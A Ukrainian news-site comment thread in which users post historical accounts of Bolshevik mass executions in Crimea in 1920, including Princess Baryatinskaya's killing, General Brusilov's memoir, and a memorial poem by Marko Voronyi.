Правнучка княгині Барятинської Надія Барятинська тут нарешті дізналася про її долю: «Я багато читала й чула історій про революцію, але справжній смисл «трійки» зрозуміла тільки в Ялті. Чи могла припустити моя прабаба, яку долю їй уготовила ця сама «червона трійка». 80-річна княгиня Барятинська була відомою в Ялті благодійницею. Вона побудувала на свої кошти гімназію, фінансувала Червоний Хрест, утримувала першу в Російській імперії лікарню для хворих на туберкульоз. Однак усі ці її заслуги більшовиків геть не цікавили. Вироком служило тільки походження. Інвалідний візок із паралізованою княгинею прив’язали до вантажівки, кузов якої вже був забитий приреченими на смерть. Так, на причепі, княгиню й повезли, а коли зупинилися, від дороги до місця розстрілу бабусю донесли на руках. Княгиню вбили разом із вагітною дочкою…

При перегляді старих справ у зв’язку із Законом України «Про реабілітацію жертв політичних репресій» старший помічник прокурора Києва Леонід Абраменко наштовхнувся в архіві СБУ на папку з 204 анкетами, заповненими в грудні 1920 року.

— У Ялті 204 особи, у тому числі 80-річна княгиня Барятинська і 73-річний генерал від інфантерії у відставці Мальцев, проходили в одній справі, — розповів Леонід Абраменко. — Але, окрім анкет, немає ніяких слідчих матеріалів — людей розстрілювали ні за що. Було розстріляно не тільки колишніх військових, а й цивільних, часто рядових, чиновників, наприклад, начальника Ялтинського телефонного вузла Ракітіна, татарського вчителя Дкафера Аблаєва…

І таких «розстрільних справ», у яких проходило відразу по 200—400 чоловік, в архіві зберігається, щонайменше, 15! Усі вони ялтинські. У грудні 1920 року було розстріляно не менше трьох-чотирьох тисяч чоловік. Але масові розстріли тривали ще й 1921-го, і 1922-го…
   Відповісти    
IgorL
Генерал Олексій Олексійович Брусилов, герой Першої світової війни, що керував знаменитим Брусиловським проривом на Південно-Західному фронті 1916 року, по липень 1917 року був верховним головнокомандувачем царської армії, після чого перебував у розпорядженні Тимчасового уряду. Жив у Москві. У жовтневі дні 1917 року відмовився очолити виступ контрреволюційних сил проти більшовиків у Москві, був поранений у своїй квартирі випадковим снарядом. 1920 року пішов на службу в Червону Армію, у якій обіймав посаду голови Особливої наради при головнокомандуючому всіма збройними силами РРФСР.

За дорученням Л.Троцького, заступник голови Реввійськради республіки Е.Склянський повідомив генералу О.Брусилову, що «у штабі і навіть у військах Врангеля відбувається справжнє бродіння», війська «змушують силою боротися і залишати рідну землю», що «склад офіцерів точно налаштований проти розпоряджень вищого начальства», має намір скинути Врангеля й оголосити його армію «Червоною Кримською під командуванням Брусилова». На запитання Е.Склянського, чи вважає Брусилов можливим прийняти командування врангелівською армією, Брусилов відповів згодою і сказав: «Я прийду на допомогу російським офіцерам, солдатам і козакам, постараюся бути для них керівником і погоджувати їхні дії з планами Радянської Республіки». Тоді Склянський запропонував Брусилову підготувати відозву до врангелівської армії про згоду прийняти над нею командування, сформувати свій «нібито штаб», оголосити прізвища намічених до його складу осіб, а також бути готовим до виїзду на південь.

«Я надихнувся, — писав Брусилов, — повіривши цьому негіднику (Склянському). Я думаю: армія Врангеля у моїх руках, плюс ті, хто відданий мені всередині країни в лавах Червоної Армії: звісно, я поїду на південь із зіркою… а повернуся з хрестом і звалю цих загарбників (більшовиків)».

Того ж вечора Брусилов запросив до себе кількох колишніх генералів, яким він «цілком вірив». Проте цим честолюбним планам Брусилова не судилося здійснитися: через кілька днів Склянський принагідно повідомив йому, що дані про розкладання врангелівської армії були помилковими, бунту ніякого не було… А приїхавши потім із Криму, друзі Брусилова розповіли йому, що в період евакуації з Криму серед врангелівських військ поширювали підписане його ім’ям звернення, якого насправді, як стверджує сам генерал, він ніколи не підписував. Однак чимало офіцерів повірили цьому зверненню. «…Залишалися на березі і потрапляли в руки не мої, — пише Брусилов, — а лютуючого Бела Куна, який розстрілював їх масами…»

Того свідчення — і розстріл у багріївському парку в Ялті.
   Відповісти    
IgorL
Марко Вороний (1904-1937) був сином Миколи Вороного, який переклав українською «Інтернаціонал» і «Марсельєзу». У віці 14 років в Чернігові він став свідком, як солдати Муравйова закололи багнетами гімназистку Тому Мещерську. І написав таке:
«Світлій пам'яті М.Т.
Господи, в день твого гніву неспинного
Дай мені мужність і віру в небеснеє,
дай чути в шепоті саду звіриного
Царство Ісусове Хрестовоскреснеє.
О, пам’ятаю, розкинувши косами,
Впала вона під рукою ворожою.
Вкрито її сніговими покосами…
Я усій расі звірячій загрожую!
Господи, дай мені сили помститися
За її душу – за синєокую!
Господи Боже, не можу молитися -
Кров, її кров – борозною глибокою…
Господи, Господи…
Сніг і вітри над моєю отчизною…
Боже, цю чашу розбою бездомного
Дай мені взяти рукою залізною
Й пити з одча́ю каменеломного.
Вірю я, Боже, ватаги Богданові
Поруч з Тобою у сонмі архангелів.
Господи, Ти у хвилину останнюю
З них надішли мені смертного янгола.
Дотик його — і безодня відкрилася,
І, як дощем, шепотить серафимами.
Там перед світом благаючим крилосом
Очі її над вогнями і димами…»

http://www.istpravda.com.ua/articles/2011/11/15/61867/
   Відповісти    
T-34
Коментар порушує правила нашого сайту та був видалений.
   Відповісти    

IgorL
Для тих хто рахує росіян культурною нацією треба обов'язково переглянути спогади справжніх європейців які зустрічали червону армію у 1939 році.

   Відповісти    
Ще коментарі: 12

   Правила

Записи в блогах:
15 февраля 0 комментариев  
15 февраля 2 комментария  
13 февраля 2 комментария  
12 февраля 1 комментарий  
10 февраля 1 комментарий  
7 февраля 14 комментариев  
6 февраля 1 комментарий  
5 февраля 0 комментариев  





Думська в Viber


Ми використовуємо cookies    Ok    ×